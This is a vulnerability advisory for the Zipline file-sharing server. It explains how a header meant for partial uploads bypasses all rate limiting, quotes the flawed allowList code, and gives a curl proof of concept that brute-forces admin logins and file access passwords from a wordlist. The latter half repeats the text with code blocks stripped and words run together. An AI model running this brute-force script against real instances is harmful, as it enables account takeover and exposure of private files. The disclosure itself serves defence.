Summary
I found that Zipline's global rate-limit allowList callback unconditionally exempts any request that includes the x-zipline-p-filename header — a header intended only for chunked partial-file uploads — from all rate limiting, regardless of which endpoint is being called or whether the request is a legitimate partial upload. Any unauthenticated attacker can include this header on requests to the login, file-password, and URL-password endpoints to bypass rate limiting entirely, enabling unlimited brute-force attacks on user passwords and password-protected file/URL access codes.
Details
In src/server/startup/plugins.ts at line 76, the @fastify/rate-limit plugin's allowList callback returns true for any request containing x-zipline-p-filename:
// src/server/startup/plugins.ts line 76
allowList: async (req, key) => {
if (config.ratelimit.adminBypass && isAdministrator(req.user?.role)) return true;
if (config.ratelimit.allowList.includes(key)) return true;
if (Object.keys(req.headers).includes('x-zipline-p-filename')) return true; // ← no validation
return false;
},
The x-zipline-p-filename header is part of the chunked partial-upload protocol, but:
- There is no check that the request is actually a
POST /api/upload or partial-upload route
- There is no check that the header value is a valid partial-upload identifier
- The
allowList callback is evaluated globally before any per-route rate-limit overrides
The consequence is that any request to any rate-limited route — including authentication and password-checking endpoints — is completely exempt from rate limiting if the client includes x-zipline-p-filename: anything.
Affected endpoints:
POST /api/auth/login — brute-force user/admin login passwords
POST /api/user/files/:id/password — brute-force password-protected file access codes
POST /api/user/urls/:id/password — brute-force password-protected short URL access codes
POST /api/upload — authenticated users can exhaust server disk at unrestricted upload speed
PoC
Prerequisites:
- A publicly accessible Zipline instance
- Tools:
curl
ZIPLINE="https://zipline.example.com"
# Step 1 — Confirm rate limiting is active without the bypass header
for i in $(seq 1 6); do
CODE=$(curl -so /dev/null -w "%{http_code}" -X POST "$ZIPLINE/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}')
echo "Attempt $i: HTTP $CODE"
done
# Expected: first ~5 return 401 (wrong password), 6th returns 429 Too Many Requests
# Step 2 — Add the bypass header — rate limiting is completely disabled
PASS_LIST=(password1 password2 password3 password4 password5 password6 password7 password8)
for PASS in "${PASS_LIST[@]}"; do
CODE=$(curl -so /dev/null -w "%{http_code}" -X POST "$ZIPLINE/api/auth/login" \
-H "Content-Type: application/json" \
-H "x-zipline-p-filename: bypass" \
-d "{\"username\":\"admin\",\"password\":\"$PASS\"}")
echo "Password '$PASS': HTTP $CODE"
done
# Expected: all return 401 (wrong) or 200 (correct) — NEVER 429, no rate limiting
# Step 3 — Brute-force a password-protected file (no auth required)
FILE_ID="<file-id-from-url>"
for PASS in $(cat /usr/share/wordlists/rockyou.txt | head -10000); do
RESP=$(curl -s -X POST "$ZIPLINE/api/user/files/$FILE_ID/password" \
-H "Content-Type: application/json" \
-H "x-zipline-p-filename: bypass" \
-d "{\"password\":\"$PASS\"}")
echo "$RESP" | grep -q '"url"' && echo "FOUND: $PASS" && break
done
# Expected: password found in seconds/minutes depending on list size
# Normal behavior comparison — without the bypass header:
curl -X POST "$ZIPLINE/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"wrong"}'
# After 5 attempts: HTTP 429 {"message":"rate limit exceeded, retry in 60 seconds"}
Impact
An unauthenticated attacker can:
- Brute-force admin/user login passwords at the full throughput of the server's argon2 verification (typically 2–10 checks/second per core), with no per-IP throttling, using a common password wordlist
- Brute-force password-protected file access codes without needing any account — exposing the contents of private files shared via password-protected links
- Brute-force password-protected short URL access codes — revealing the destinations of private links
Authenticated users can additionally:
4. Exhaust server disk storage by uploading at unrestricted speed, bypassing the configured upload rate limit, causing denial of service for other users
Summary
I found that Zipline's global rate-limit
allowListcallback unconditionally exempts any request that includes thex-zipline-p-filenameheader — a header intended only for chunked partial-file uploads — from all rate limiting, regardless of which endpoint is being called or whether the request is a legitimate partial upload. Any unauthenticated attacker can include this header on requests to the login, file-password, and URL-password endpoints to bypass rate limiting entirely, enabling unlimited brute-force attacks on user passwords and password-protected file/URL access codes.Details
In
src/server/startup/plugins.tsat line 76, the@fastify/rate-limitplugin'sallowListcallback returnstruefor any request containingx-zipline-p-filename:The
x-zipline-p-filenameheader is part of the chunked partial-upload protocol, but:POST /api/uploador partial-upload routeallowListcallback is evaluated globally before any per-route rate-limit overridesThe consequence is that any request to any rate-limited route — including authentication and password-checking endpoints — is completely exempt from rate limiting if the client includes
x-zipline-p-filename: anything.Affected endpoints:
POST /api/auth/login— brute-force user/admin login passwordsPOST /api/user/files/:id/password— brute-force password-protected file access codesPOST /api/user/urls/:id/password— brute-force password-protected short URL access codesPOST /api/upload— authenticated users can exhaust server disk at unrestricted upload speedPoC
Prerequisites:
curlImpact
An unauthenticated attacker can:
Authenticated users can additionally:
4. Exhaust server disk storage by uploading at unrestricted speed, bypassing the configured upload rate limit, causing denial of service for other users